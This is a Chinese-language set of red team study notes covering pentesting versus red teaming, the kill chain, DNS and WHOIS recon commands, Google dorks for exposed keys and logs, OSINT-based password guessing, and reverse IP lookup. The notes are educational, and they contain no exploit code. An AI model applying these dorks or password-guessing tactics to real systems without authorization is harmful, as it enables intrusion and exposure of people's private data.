红队学习笔记-one
红队基础知识
漏洞评估和渗透测试限制
漏洞评估
这是最简单的安全评估形式,其主要目标是在网络中尽可能多的系统中识别尽可能多的漏洞。为此,可以做出让步以有效地实现这一目标。例如,攻击者的计算机可能在可用的安全解决方案中被列入允许列表,以避免干扰漏洞发现过程。这是有道理的,因为目标是查看网络上的每台主机并单独评估其安全状况,同时向公司提供关于修复工作重点的最多信息。
总而言之, 漏洞评估的重点是将主机作为单个实体进行漏洞扫描,以便识别安全缺陷并部署有效的安全措施,以优先方式保护网络。大部分工作可以使用自动化工具完成,并由作员执行,不需要太多的技术知识。
例如,如果要通过网络运行漏洞评估 ,通常会尝试扫描尽可能多的主机,但实际上根本不会尝试利用任何漏洞:
渗透测试
除了扫描每台主机的漏洞之外,我们通常还需要了解它们如何影响我们的整个网络。渗透测试允许渗透测试人员通过执行其他步骤来探索攻击者对整个网络的影响,从而增加漏洞评估,这些步骤包括:
- 尝试利用在每个系统上发现的漏洞。这一点很重要,因为有时系统中可能存在漏洞,但适当的补偿控制可以有效地防止其被利用。它还允许我们测试是否可以使用检测到的漏洞来破坏给定的主机。
- 在任何受感染的主机上执行利用后任务,使我们能够发现是否可以从中提取任何有用的信息,或者我们是否可以使用它们来转向以前无法从我们所在的位置访问的其他主机。
渗透测试可能从扫描漏洞开始,就像常规漏洞评估一样,但会提供有关攻击者如何链接漏洞以实现特定目标的更多信息。虽然它的重点仍然是识别漏洞和建立保护网络的措施,但它也将网络视为一个完整的生态系统,以及攻击者如何从其组件之间的交互中获利。
如果我们要使用与之前相同的示例网络执行渗透测试,除了扫描网络上的所有主机以查找漏洞之外,我们还会尝试确认它们是否可以被利用,以显示攻击者可能对网络产生的影响:
通过分析攻击者如何在我们的网络中移动,我们还可以对可能的安全措施绕过方式以及在一定程度上检测真实威胁行为者的能力获得基本的见解。不过,这种能力是有限的,因为渗透测试的范围通常很广,而且渗透测试人员并不太在意是否会触发大量安全设备的警报,因为此类项目通常受到时间限制,要求我们在短时间内对网络进行测试。
高级持续性威胁(APT)及为何常规渗透测试不足以应对
传统的安全测试(如渗透测试)可以发现大多数技术漏洞,但它们在应对真实攻击者时存在一定的局限性。
Time Constraints(时间限制) ⏰
- 传统安全评估(如渗透测试)通常是在短时间内进行的,测试人员无法像真实攻击者一样长时间潜伏、研究目标,导致许多隐蔽性强的攻击手法无法被发现。
Budget(预算) 💰
- 许多企业在安全预算上有限,可能无法进行全面的安全评估,尤其是涉及深度模拟真实攻击(如红队演练)的测试成本较高。
Limited Scope(范围有限) 🎯
- 渗透测试通常有明确的范围,测试人员只能在规定的系统、IP 段或应用程序内进行测试,而真实攻击者没有这样的限制,他们可能会利用供应链攻击、社会工程学等手段。
Non-disruptive(非破坏性) 🔥
- 传统安全评估通常要求不会影响业务运营,因此不会进行一些高风险的测试(如持久化攻击、破坏性利用),而真实攻击者不会有这种顾虑,他们的目标是长期潜伏、完全控制系统。
Heavy IT Focus(过于关注 IT 层面) 🌍💻
- 传统安全测试主要关注 IT 设备、服务器和软件漏洞,但真正的攻击可能涉及物理安全、社会工程学、供应链攻击等非技术手段,而这些往往超出了渗透测试的范围。
渗透测试 vs. 真实攻击的关键区别
(1) 渗透测试的局限性
- 渗透测试是“吵闹的”(LOUD) 🔊
- 渗透测试人员通常不会刻意保持隐蔽,而是尽可能快速发现漏洞。
- 他们不怕被检测到,因为他们的目的是尽快找出所有可能的安全问题,而不是真正模拟攻击者的隐秘行动。
- 但真实的攻击者会极力隐藏行踪,利用“低慢攻击(Low & Slow Attacks)”来绕过安全监测。
- 非技术攻击(如社工攻击、物理入侵)可能被忽视 🎭
- 渗透测试一般只关注技术层面,例如漏洞利用、权限提升等。
- 但真正的攻击者可能会利用社会工程学(如钓鱼邮件)或物理入侵(如尾随进入机房)来获取访问权限。
- 这意味着,即使技术安全措施很完善,企业仍可能因人为因素而被攻击。
- 安全机制可能被临时放宽 🛑
- 为了提高渗透测试的效率,企业可能会暂时禁用 IDS/IPS(入侵检测/防御系统)、WAF(Web 应用防火墙)等安全措施。
- 这有助于测试人员专注于查找系统漏洞,而不是花时间绕过安全防御。
- 但真实攻击者不会遇到这些“特权”,他们必须想办法真正绕过这些安全机制。
- 这使得渗透测试无法真实反映攻击者如何突破企业防御。
(2) 真实攻击者(尤其是APT)的特点
- 不受道德或规则约束 ❌
- 渗透测试人员有道德和法律约束,必须遵守测试范围,而真正的攻击者可以采用任何手段。
- 例如,APT 可能使用零日漏洞、社工攻击、长时间潜伏等方式,而这些往往不在普通渗透测试的范围内。
- 高级持续性威胁(APT)是现代最大威胁之一 ⚠️
- APT(Advanced Persistent Threats,高级持续性威胁)通常由国家级黑客组织或有组织犯罪团伙支持,目标通常是关键基础设施、金融机构、政府机构。
- 他们的攻击手法包括:
- 通过钓鱼邮件获取初始访问权限。
- 利用零日漏洞绕过安全机制。
- 长期潜伏在受害网络中,隐秘地进行数据窃取或控制系统。
- 这些攻击可能持续数月甚至数年,传统渗透测试难以模拟这种攻击方式。
2. APT 相关的现实问题
企业面对 APT 可能面临以下挑战:
- 如果APT已经潜伏了几个月,企业能检测到吗?
- 如果攻击者利用了社工攻击(如员工误点恶意邮件),企业能阻止吗?
- 如果APT利用的是零日漏洞(Zero-Day),企业的安全策略是否足够?
- 传统的渗透测试能帮助企业应对这些挑战吗?
这些问题表明,传统渗透测试可能不足以真正模拟 APT 攻击,因此需要更高级的安全评估方法。
3. 解决方案:红队演练(Red Team Engagements)
红队演练(Red Team Engagements) 是为了更真实地模拟攻击者的行为,弥补渗透测试的不足,主要特点包括:
- 隐蔽性强:红队会像真实攻击者一样,尝试长时间不被发现。
- 使用各种攻击手法:包括技术漏洞利用、社工攻击、供应链攻击等。
- 目标明确:通常是长期潜伏、控制关键系统或获取敏感数据,而不是单纯查找漏洞。
- 不受安全机制放宽的影响:企业不会关闭安全机制,红队必须真正绕过它们。
总结
对比项 | 传统渗透测试(Pentesting) | 真实攻击(APT) | 红队演练(Red Team) |
---|---|---|---|
隐蔽性 | 很“吵闹”,容易被检测 | 极度隐蔽,长期潜伏 | 尽可能模拟APT,保持隐蔽 |
攻击方式 | 主要是技术漏洞 | 可能涉及社工、物理攻击 | 结合技术+社工+物理 |
安全机制 | 可能被临时放宽 | 必须绕过真实防御 | 必须绕过真实防御 |
目标 | 发现尽可能多的漏洞 | 获取长期访问控制 | 真实模拟攻击者目标 |
限制 | 受道德、法律和测试范围约束 | 没有限制 | 受企业授权范围约束,但比渗透测试更接近真实攻击 |
** 结论: **
- 传统渗透测试适用于发现漏洞,但无法模拟真正的APT攻击。
- 红队演练是更高级的安全评估方法,可以更真实地检测企业的安全防御能力。
- 现代企业要提升安全性,不能仅依赖渗透测试,而需要结合红队演练、威胁狩猎(Threat Hunting)等方式。
红队演练
红队演练的演变及其与传统渗透测试的区别
1. 红队演练的核心目标
为了应对不断变化的网络安全威胁,红队演练(Red Team Engagements) 诞生,其目的是从传统渗透测试(Penetration Testing)转向更关注检测和响应能力的安全评估。
- 传统渗透测试 主要关注发现漏洞,帮助组织修复安全缺陷。
- 红队演练 则着重于检测(Detection)与响应(Response),评估防御团队(蓝队)的实际应对能力。
- 两者是互补关系,而非替代关系。
2. 红队概念的军事来源
“红队(Red Team)” 一词最早来源于军事演习,在军事背景下,
- “红队” 扮演攻击方,模拟真实的敌对势力,测试防御方的应对能力。
- “蓝队(Blue Team)” 作为防御方,负责侦测、分析并阻止攻击行为。
在网络安全领域,这一概念被引入,红队演练通过模拟真实黑客的战术、技术和程序(TTPs - Tactics, Techniques, and Procedures),来评估蓝队的防御能力,并改进安全控制措施。
3. 红队演练的流程
每次红队演练都会定义明确的目标(常被称为“王冠上的明珠(Crown Jewels)”或“旗帜(Flags)”),目标通常包括:
- 攻破某个关键服务器(如内网服务器、核心数据库)。
- 窃取敏感数据(如财务记录、客户信息、员工凭据)。
- 控制某个关键业务流程(如修改交易记录、劫持邮件系统)。
🔹 与传统渗透测试不同:
在红队演练中,蓝队(防御团队)通常不会被提前告知,以避免人为干预,确保防御能力的真实评估。
- 红队需要尽可能隐蔽地执行攻击,不留下明显的痕迹。
- 不需要扫描整个网络,而是寻找一条最有效的攻击路径,像真实的黑客一样,利用最少的攻击面实现目标。
- 他们必须绕过 防火墙、杀毒软件(AV)、终端检测与响应(EDR)、入侵防御系统(IPS)等安全机制。
4. 真实案例:目标是入侵内网服务器
假设红队的目标是入侵企业内部的 Intranet 服务器,攻击流程可能如下:
1️⃣ 获取初始访问权限:
- 可能使用钓鱼邮件(Phishing)诱骗员工执行恶意代码。
- 也可能利用外部暴露的Web 应用漏洞(如 SQL 注入、远程代码执行)。
2️⃣ 权限提升 & 横向移动:
- 利用凭据窃取技术(如 Mimikatz)获取更高权限。
- 通过 SMB、RDP、PsExec 在网络内扩展。
3️⃣ 隐蔽渗透 & 规避检测:
- 使用 C2(Command & Control)服务器保持远程访问。
- 规避 EDR、SIEM 等安全监测工具。
4️⃣ 达成目标 & 数据外泄:
- 窃取数据库中的客户数据或财务信息。
- 控制核心业务流程,如篡改企业邮件系统。
5️⃣ 清理痕迹 & 反馈报告:
- 删除日志、清除恶意文件,确保攻击难以被溯源。
- 最终,红队会向企业提供详细的安全评估报告,以帮助蓝队提升防御能力。
5. 关键点总结
✅ 红队演练不是简单的漏洞扫描,而是全面测试安全体系的“实战能力”。
✅ 目标是提高检测和响应能力,而非仅仅发现漏洞。
✅ 模拟 APT(高级持续性威胁)黑客行为,长期潜伏、低调行动,绕过安全防御。
✅ 蓝队通常不会提前知情,以保证测试的真实性。
✅ 红队成功的关键在于隐蔽行动,找到最短路径完成目标,而非大范围扫描漏洞。
通过红队演练,企业可以有效衡量自身的安全防御能力,并不断优化安全策略,以应对真正的网络攻击威胁。
红队演练的最终目标及不同方式
1. 红队的最终目标:提升蓝队的检测与响应能力
红队演练的最终目的,绝不是“打败”蓝队,而是通过模拟真实攻击者的战术、技术与程序(TTPs),
- 帮助蓝队提高检测和响应能力,增强组织面对真实攻击时的安全防御能力。
- 优化现有的安全机制,如果必要,调整或增加新的安全控制措施,以提高对威胁的检测能力。
2. 红队相比渗透测试的进阶提升
红队演练相比传统渗透测试,在**攻击面(Attack Surfaces)**的考虑上更加全面,涵盖多个维度:
✅ 技术基础设施(Technical Infrastructure)
- 这一部分与传统渗透测试类似,仍然会寻找系统和网络中的技术漏洞。
- 但相比之下,红队更强调隐蔽性和规避检测,模拟高级攻击者的低调行动。
✅ 社会工程学(Social Engineering)
- 通过 钓鱼邮件(Phishing)、电话社交工程(Vishing)、社交媒体诱导 等方式,
- 诱骗目标泄露敏感信息(如登录凭据、内部文件)。
- 这类攻击方式在真实攻击场景中极为常见,APT 组织尤其擅长利用社会工程学手段。
✅ 物理入侵(Physical Intrusion)
- 锁具破解(Lockpicking):利用开锁工具突破物理门禁。
- RFID 克隆:拷贝门禁卡权限,进入机房等受限区域。
- 电子访问控制漏洞:绕过电子门禁系统(如磁卡、指纹识别等)。
3. 红队演练的不同执行方式
红队演练可以根据组织的资源和需求,选择不同的执行方式:
🔴 全面演练(Full Engagement)
- 这是最完整的攻击模拟,从初始渗透到最终目标的达成,完全模拟攻击者的完整工作流程。
- 适用于需要全方位测试安全体系的组织。
🔴 假设入侵(Assumed Breach)
- 直接假设攻击者已经突破了某些安全防线,跳过初始渗透阶段。
- 例如,红队可能直接获得员工的凭据或内网某台工作站的访问权限,然后评估能否进一步扩展权限、获取敏感数据等。
- 这种方式主要用于评估企业内部的检测和响应能力,特别是内网安全策略。
🔴 桌面推演(Table-top Exercise)
- 采用模拟讨论的方式,由红队和蓝队在会议室探讨不同威胁场景,并评估如何应对。
- 适用于无法进行实战演练的情况,如高度敏感的生产环境或资源受限的企业。
4. 关键点总结
✅ 红队的目标不是打败蓝队,而是帮助其提升检测和响应能力。
✅ 红队比渗透测试更全面,涵盖技术漏洞、社会工程、物理安全等多个攻击面。
✅ 红队演练方式多样,可根据资源选择全面演练、假设入侵或桌面推演。
✅ 最终目的是提高企业整体安全防御水平,使其能有效应对真实的网络攻击。
交战结构
红队的核心职能:对抗模拟
1. 红队的对抗模拟(Adversary Emulation)
红队的核心职能之一是模拟真实的攻击者。虽然不是强制要求,但通常会使用真实攻击者的工具和方法,
- 评估企业在面对真实威胁时的防御能力。
- 利用不同的“网络攻击链(Cyber Kill Chains)”来总结和评估攻击步骤和战术流程。
攻击链(Kill Chain):是指攻击者在进行网络攻击时的一系列步骤,用于描述从最初的侦察到最终攻击目标达成的全过程。
蓝队(防御团队)通常利用攻击链模型来分析攻击者的行为,并找到阻断攻击的关键点。
红队可以采用同样的方法,把**真实攻击者的战术、技术和程序(TTPs)**映射到演练过程,评估攻击流程的有效性。
2. 常见的网络攻击链模型
许多安全法规和标准组织都提出了自己的网络攻击链模型,不同模型的结构大致相同,但详细程度和目标设定有所不同。
以下是几个常见的网络攻击链模型:
1️⃣ Lockheed Martin Cyber Kill Chain(洛克希德·马丁攻击链)
2️⃣ Unified Kill Chain(统一攻击链)
3️⃣ Varonis Cyber Kill Chain(Varonis 攻击链)
4️⃣ Active Directory Attack Cycle(AD 攻击周期)
5️⃣ MITRE ATT&CK Framework(MITRE ATT&CK 框架)
在本次讨论中,我们主要参考 Lockheed Martin Cyber Kill Chain,它是目前红队和蓝队最常使用的标准攻击链模型。
3. Lockheed Martin Cyber Kill Chain
该模型主要聚焦于外围攻击(如外部网络入侵),但对攻击者在内网中的横向移动缺乏详细描述。
可以将其视为攻击过程中所有行为和操作的概述。
阶段(Technique) | 目的(Purpose) | 示例(Examples) |
---|---|---|
侦察(Reconnaissance) | 获取目标信息 | 收集电子邮件、OSINT(开源情报) |
武器化(Weaponization) | 结合攻击目标与漏洞,生成可利用的恶意载荷 | 利用漏洞嵌入后门、恶意 Office 文档 |
投递(Delivery) | 通过某种方式向目标发送恶意载荷 | 电子邮件、网页、USB 设备 |
利用(Exploitation) | 利用漏洞执行恶意代码 | MS17-010、Zero-Logon 等 |
安装(Installation) | 安装恶意软件或攻击工具 | Mimikatz、Rubeus 等 |
命令与控制(Command & Control) | 远程控制受感染系统 | Empire、Cobalt Strike 等 |
达成目标(Actions on Objectives) | 执行最终攻击目的,如勒索软件或数据窃取 | Conti 勒索软件、LockBit2.0 等 |
4. 关键点总结
✅ 红队利用攻击链来模拟真实攻击,评估企业的安全防御能力。
✅ 攻击链用于分析攻击者行为,红队和蓝队都可以参考这一模型进行防御优化。
✅ Lockheed Martin Cyber Kill Chain 主要关注外部攻击,适合用于网络边界防御的安全评估。
✅ 攻击链的每个阶段都有对应的攻击方法和工具,企业可以据此强化不同环节的安全防御措施。
红队侦察
侦察分类
侦察(Reconnaissance, recon)可以分为两个部分:
- 被动侦察(Passive Recon):可以通过被动观察目标进行。
- 主动侦察(Active Recon):需要与目标进行交互,以诱导其产生响应并进行观察。
被动侦察(Passive Recon)
被动侦察不需要直接与目标交互,换句话说,攻击者不会向目标或其所属系统发送任何数据包或请求。相反,被动侦察依赖于第三方收集和维护的公开可用信息,通常利用**开源情报(OSINT, Open Source Intelligence)**来获取目标信息。这种侦察方法可能涉及查看目标**公开的社交媒体资料**等。
一些可能收集到的信息包括:
- 域名(Domain Names)
- IP 地址块(IP Address Blocks)
- 电子邮件地址(Email Addresses)
- 员工姓名(Employee Names)
- 职位招聘信息(Job Posts)
在接下来的任务中,我们将学习如何查询DNS 记录,并在“被动侦察”的基础上进一步扩展,引入更高级的工具来帮助我们进行信息收集。
主动侦察(Active Recon)
主动侦察需要直接与目标交互,即通过发送请求或数据包来观察目标的响应情况。这些收集到的响应(或者没有响应的情况)可以帮助我们完善通过被动侦察所构建的目标信息。
主动侦察的示例:
- 使用 Nmap 扫描目标子网和存活主机。
- 其他主动侦察工具可在**主动侦察(Active Reconnaissance)**相关内容中找到。
我们希望通过主动侦察发现的信息包括:
- 存活主机(Live Hosts)
- 运行的服务器(Running Servers)
- 监听的服务(Listening Services)
- 软件版本号(Version Numbers)
主动侦察的分类
主动侦察可以进一步细分为:
- 外部侦察(External Recon)
- 在目标的网络外部进行,主要针对互联网可访问的外部资产。
- 示例:使用 Nikto 在公司网络外部扫描其 Web 服务器。
- 内部侦察(Internal Recon)
- 在目标公司的内部网络中进行。
- 例如,渗透测试人员或红队成员可能物理地位于公司内部,或通过已经被攻陷的主机进行侦察。
- 示例:使用 Nessus 通过目标内部网络中的某台计算机扫描内部资产。
内置工具
本任务重点介绍以下工具的使用:
- whois
- dig、nslookup、host
- traceroute/tracert
在我们开始使用 whois 工具之前,先了解一下 WHOIS。
WHOIS 是一种基于请求-响应模式的协议,遵循 RFC 3912 规范。WHOIS 服务器会在 TCP 端口 43 上监听传入的查询请求。
域名注册商(Registrar) 负责维护其租赁的域名 WHOIS 记录。当我们使用 whois 命令查询时,它会向 WHOIS 服务器请求信息,并返回该域名的所有已存储记录。
在以下示例中,whois 查询结果可能包含以下信息:
- 注册商 WHOIS 服务器地址(Registrar WHOIS server)
- 注册商官网 URL(Registrar URL)
- 记录创建日期(Record creation date)
- 记录更新日期(Record update date)
- 注册人联系方式和地址(Registrant contact info and address)(若未启用隐私保护)
- 管理员联系方式和地址(Admin contact info and address)(若未启用隐私保护)
- 技术联系方式和地址(Tech contact info and address)(若未启用隐私保护)
whois
我们用ai整理信息更为直观
nslookup
nslookup baidu.com |
该命令用于查询 baidu.com
的 DNS 解析情况。
nslookup -query=AAAA baidu.com |
查询 IPv6 地址(AAAA 记录)
nslookup baidu.com 8.8.8.8 |
使用 8.8.8.8 查询
nslookup -query=MX baidu.com |
查询 MX(邮件交换)记录
nslookup -query=NS baidu.com |
查询 NS(Name Server)记录
nslookup -query=TXT baidu.com |
查询 TXT 记录
dig
在类 Unix 系统中,另一个常见的 DNS 查询工具是 dig,全称 Domain Information Groper(域名信息查询工具)。
dig
提供了丰富的查询选项,甚至允许你指定不同的 DNS 服务器 进行查询。
很显然dig的信息更为详细
host
解析 A 记录
(IPv4 地址)
解析 MX 记录
(邮件服务器)
如果只是快速查 IP 地址或 MX 记录,host
最方便。
如果需要更详细的 DNS 解析过程,推荐使用 dig
。
traceroute
最后一个 Unix 类系统自带的工具是 traceroute
,在 Windows 系统上称为 tracert
。顾名思义,它用于 跟踪数据包从我们的系统到目标主机所经过的路由。
下面的终端输出展示了 traceroute
解析出的 连接我们与目标系统的路由器(跳点)。
需要强调的是:某些路由器不会响应 traceroute
发送的数据包,因此我们无法看到它们的 IP 地址,在这种情况下,traceroute
会用 *
号表示这些不可见的路由器。
高级搜索
能够高效使用搜索引擎是一项至关重要的技能。以下表格展示了一些在多个流行搜索引擎中常用的搜索修饰符:
符号 / 语法 | 功能 |
---|---|
"search phrase" |
查找完全匹配的短语 |
OSINT filetype:pdf |
查找与特定术语相关的 PDF 文件 |
salary site:blog.tryhackme.com |
将搜索结果限制在特定网站 |
pentest -site:example.com |
排除特定网站的搜索结果 |
walkthrough intitle:TryHackMe |
查找标题包含特定术语的网页 |
challenge inurl:tryhackme |
查找 URL 包含特定术语的网页 |
🔹 分析:
filetype:
可以用于搜索多种文件类型,如doc, docx, ppt, pptx, xls, xlsx
等,这在 OSINT(开源情报) 领域非常有用。site:
让用户能够精准搜索特定网站,而-site:
则用于排除某个网站的内容。intitle:
和inurl:
有助于定位特定网页,如inurl:admin
可能会返回管理员面板页面。
每个搜索引擎的规则和语法可能略有不同,因此用户需要查阅其帮助页面。例如:
- Google 高级搜索 提供了一个可视化界面,帮助用户构造高级查询。
- Google Refine Web Searches 详细介绍了 Google 的高级搜索技巧。
- DuckDuckGo Search Syntax 适用于 DuckDuckGo。
- Bing Advanced Search Options 适用于 Bing。
搜索引擎如何泄露敏感信息?
搜索引擎会不断抓取并索引全球网页,这可能导致机密信息被意外公开,如:
- 内部公司文档
- 包含用户名、电子邮件、甚至密码的表格
- 存储敏感数据的目录
- Web 服务的版本信息(可能存在漏洞)
- 错误日志(可能暴露系统详细信息)
📌 分析:
这些敏感信息可能通过 Google Dorking(谷歌黑客技巧)被轻松找到。Google Hacking Database(GHDB)收集了许多用于挖掘敏感信息的搜索语句,例如:
GHDB 类别 | 示例 |
---|---|
Footholds(初始访问点) | intitle:"index of" "nginx.log" (查找 Nginx 日志,可能暴露服务器配置信息) |
Files Containing Usernames(包含用户名的文件) | intitle:"index of" "contacts.txt" (查找联系人信息) |
Sensitive Directories(敏感目录) | inurl:/certs/server.key (查找是否有私钥泄露) |
Web Server Detection(检测 Web 服务器) | intitle:"GlassFish Server - Server Running" (识别 GlassFish 服务器) |
Vulnerable Files(易受攻击的文件) | intitle:"index of" "*.php" (搜索可执行 PHP 文件) |
Vulnerable Servers(易受攻击的服务器) | intext:"user name" intext:"orion core" -solarwinds.com (查找 SolarWinds Orion 控制台) |
Error Messages(错误信息) | intitle:"index of" errors.log (查找错误日志文件) |
重要提醒 ⚠️: 这些查询会返回所有符合条件的公开数据,可能包含敏感信息。为了避免法律问题,请确保仅在授权范围内使用这些搜索技巧。
其他 OSINT 数据来源
除了搜索引擎,以下来源也能提供有价值的信息:
- 社交媒体(Social Media)
- 人们可能会在 LinkedIn、Twitter、Facebook 等平台上发布公司相关信息,如员工名单、内部项目、电子邮件格式等。
site:linkedin.com "company name" "job title"
可以帮助定位公司员工。
- 招聘广告(Job Ads)
- 企业在招聘广告中可能会透露其使用的技术栈,例如:“要求熟悉 AWS, Kubernetes, Python” 可能暗示公司使用这些技术。
site:indeed.com "company name" "hiring"
可用于收集公司招聘相关信息。
📌 总结:
- 善用搜索修饰符,如
filetype:
,site:
,intitle:
,inurl:
等,进行精准搜索。 - 利用 GHDB(Google Hacking Database) 发现潜在的敏感信息。
- 结合社交媒体和招聘广告 进行 OSINT 调查,无需直接访问目标系统。
🔎 推荐进一步学习:
- 访问 Google Dorking 练习场,提高搜索技能。
- 探索 Shodan.io,该搜索引擎专门用于查找在线设备(如摄像头、路由器、数据库服务器等)。
- 了解 TheHarvester,这是一款自动化 OSINT 工具,可用于收集电子邮件、子域名、员工信息等。
这样,你可以在合法范围内高效收集有价值的信息,同时避免不必要的法律风险。 🚀
社交媒体
社交媒体网站不仅在个人用途上非常流行,同时在企业应用方面也被广泛使用。这些平台可能会暴露大量与目标相关的信息。尤其是许多用户往往会过度分享自己的个人和工作细节,因此值得重点关注以下平台:
- LinkedIn(领英)
- Twitter(推特)
- Facebook(脸书)
- Instagram(照片墙)
社交媒体网站使得收集某个公司员工的姓名变得十分容易。此外,在某些情况下,你可能会获取特定的信息,这些信息可能揭示密码找回问题的答案,或者为定制化字典(wordlist)提供线索。技术人员的帖子可能会透露有关公司系统和供应商的详细信息。例如,如果一名网络工程师最近获得了 Juniper(瞻博网络) 认证,这可能暗示其公司环境中使用了 Juniper 的网络基础设施。
分析
📌 1. 社交媒体在 OSINT(开源情报)中的作用
- 信息收集:社交平台可以帮助黑客或安全研究员收集目标公司的员工信息、技术栈、内部项目等。
- 社会工程学攻击(Social Engineering):过度分享的个人信息(如宠物名字、出生日期、喜欢的电影)可能用于 密码重置问题 或 密码猜测。
- 目标字典(Wordlist Generation):可以从用户的公开信息(如昵称、工作经历、兴趣爱好)生成用于暴力破解的字典。
📌 2. 各大社交平台的 OSINT 价值
社交平台 | 可获取的信息 | 潜在用途 |
---|---|---|
公司员工名单、职位、技术栈、工作经历 | 构建公司组织架构,分析技术使用情况 | |
公开言论、兴趣爱好、生活细节 | 获取个人背景,识别可利用的信息 | |
朋友列表、照片、兴趣、位置记录 | 用于社会工程学攻击、身份伪造 | |
生活照片、打卡位置、关注列表 | 了解目标社交圈,分析生活习惯 |
📌 3. 案例分析
- 案例 1:密码猜测
- 目标在 Instagram 上晒宠物照,并配文:“这是我最爱的狗狗 Max!”
- 可能的密码:
Max123
,ILoveMax
,Max2025!
- 如果他用相似密码进行工作登录,就可能成为攻击目标。
- 案例 2:供应链攻击
- 目标公司员工在 LinkedIn 上发帖:“很高兴我们公司最近部署了 Palo Alto 防火墙!”
- 可能的利用点:攻击者可以寻找 Palo Alto 的已知漏洞,或者针对相关厂商进行供应链攻击。
总结
✅ 社交媒体是 OSINT 调查的重要工具,可以获取大量目标相关的信息。
✅ 用户的过度分享可能成为安全隐患,需要注意隐私保护。
✅ 攻击者可以利用这些信息进行社会工程学攻击,如密码猜测、目标字典生成等。
✅ 企业应加强安全意识培训,避免员工在社交媒体上泄露敏感信息。
🔎 推荐工具:
- theHarvester:自动收集 LinkedIn、Twitter 等社交平台上的公司和员工信息。
- Maltego:可视化社交网络分析工具,用于挖掘目标的社交关系。
- Google Dorking:结合
site:linkedin.com
等搜索技巧,精准定位社交媒体信息。
这样,你可以在合法范围内高效利用社交媒体进行 OSINT 研究,同时避免不必要的安全风险! 🚀
招聘广告(Job Ads)
招聘广告也能透露许多有关公司的信息。除了可能暴露姓名和电子邮件地址外,技术职位的招聘信息还可能提供关于目标公司系统和基础设施的线索。不同国家流行的招聘网站可能有所不同,因此,请务必查看客户公司可能发布招聘信息的国家的求职网站。此外,访问公司官网上的招聘页面,也可能会获取一些有价值的信息。
值得注意的是,Wayback Machine(互联网档案馆) 可以用来检索公司招聘页面的历史版本,帮助分析过去的技术变更和相关信息。
专业搜索引擎
WHOIS 和 DNS 相关信息(WHOIS and DNS Related)
除了我们在 介绍的标准 WHOIS 和 DNS 查询工具,还有一些第三方机构提供付费的历史 WHOIS 数据服务。例如,WHOIS history 提供WHOIS 记录的历史数据,如果域名注册者没有使用 WHOIS 隐私保护,这类服务可能会非常有用。
目前,有一些网站提供免费的高级 DNS 服务,这些网站功能强大,甚至可以专门为某个域名提供深入分析。这里,我们重点关注关键的 DNS 相关信息,主要包括以下内容:
- ViewDNS.info
- Threat Intelligence Platform
ViewDNS.info
ViewDNS.info 提供 反向 IP 查询(Reverse IP Lookup)。
背景知识:
- 传统上,每台Web 服务器都会使用一个或多个唯一的 IP 地址。
- 但如今,**共享主机(Shared Hosting)*越来越普遍,**多个不同的域名**可能会共享*同一个 IP 地址。
- 反向 IP 查询 允许我们通过一个域名或 IP 地址,找到所有与该 IP 地址关联的其他域名。
示例分析:
在下面的示例中,我们使用反向 IP 查询找出了与 cafe.thmredteam.com 共享相同 IP 地址的其他服务器。
因此,仅仅知道某个IP 地址,并不一定意味着它只对应一个特定的网站,它可能属于多个网站的共享服务器。
分析
📌 1. 为什么历史 WHOIS 数据重要?
- 如果目标网站现在使用了 WHOIS 隐私保护(如 Cloudflare 或 GoDaddy 提供的匿名服务),那么当前 WHOIS 数据可能无法获取具体的注册人信息。
- 但如果该域名过去没有开启隐私保护,历史 WHOIS 记录可能包含原始的注册人信息、电子邮件、注册公司等。
- 这对**渗透测试、OSINT 调查和社工攻击(Social Engineering)**都很有帮助。
📌 2. 反向 IP 查询的应用场景
场景 | 作用 | 用途 |
---|---|---|
共享主机 | 查找与目标 IP 关联的其他域名 | 发现同服务器上的潜在目标 |
子域名发现 | 通过同一 IP 地址推测可能的子域名 | 扩展攻击面,发现隐藏服务 |
旁站攻击 | 发现同服务器上的其他网站 | 通过弱点网站进入目标服务器 |
识别恶意活动 | 追踪黑客控制的多个网站 | 威胁情报分析 |
📌 3. OSINT 工具推荐
- ViewDNS.info(https://viewdns.info)
- 提供反向 IP 查询、WHOIS 历史、DNS 记录等功能。
- SecurityTrails(https://securitytrails.com)
- 提供详细的历史 DNS 记录,包括A 记录、MX 记录等。
- Threat Intelligence Platform(https://threatintelligenceplatform.com)
- 分析域名的安全状况,识别恶意行为。
总结
✅ 历史 WHOIS 数据可以挖掘域名的注册人信息,特别是在没有启用 WHOIS 隐私保护的情况下。
✅ 反向 IP 查询可以发现与目标 IP 共享的其他网站,有助于扩展攻击面(旁站攻击)。
✅ 多个在线工具(如 ViewDNS.info、SecurityTrails)可以帮助进行 DNS 相关的 OSINT 调查。
✅ 共享主机环境下,不能仅依赖 IP 地址识别唯一目标,需要结合子域名爆破等方法进行深入分析。 🚀
Censys
Censys Search 可以提供大量有关 IP 地址和域的信息。在此示例中,我们查找解析为 的 IP 地址之一。我们可以轻松推断出我们查找的 IP 地址属于 Cloudflare。我们可以看到与端口 80 和 443 等相关的信息;但是,很明显,此 IP 地址用于为除 之外的网站提供服务。换句话说,此 IP 地址属于我们的客户 Organic Cafe 以外的公司。做出这种区分至关重要,这样我们就不会探测合同范围之外的系统。
shodan host IP_ADDRESS
,我们可以获取 IP 地址的地理位置和开放端口
Recon-ng
综合工具具有各种模块(和msf类似)
Maltego
Maltego 是一款强大的 信息收集与可视化分析工具,专为 OSINT(开源情报) 和 网络渗透测试 设计。它能够从 公开数据源(如搜索引擎、社交媒体、WHOIS、DNS、Shodan 等)收集信息,并以 图形化方式展示数据关联,帮助分析目标组织、人员、基础设施之间的关系。
Maltego 适用于:
- 网络安全分析:识别目标的网络资产(域名、IP、邮件、子域等)。
- 威胁情报:发现恶意 IP、域名、漏洞等。
- 企业调查:分析企业与个人的关系链。
- 社交工程:挖掘人员信息(邮箱、社交媒体账户等)。
- 执法调查:帮助警方分析犯罪网络。
先
再
双击图标填上域名
再
Weaponization(武器化)-红队
什么是武器化(Weaponization)
武器化是网络攻击链(Cyber Kill Chain)模型的第二阶段。在此阶段,攻击者会生成并开发自己的恶意代码,通常通过 Word 文档、PDF 等可投递的载荷进行传播 [1]。武器化阶段的目标是利用恶意载荷来攻击目标机器,并获取初始访问权限。
大多数组织都运行 Windows 操作系统,因此它往往成为攻击的主要目标。为了防止安全漏洞,许多组织的环境策略会阻止下载和执行 .exe 文件。因此,红队成员通常会构建自定义载荷,并通过多种渠道投递,例如 网络钓鱼(Phishing)活动、社会工程(Social Engineering)、浏览器或软件漏洞利用、USB 设备、Web 方法 等。
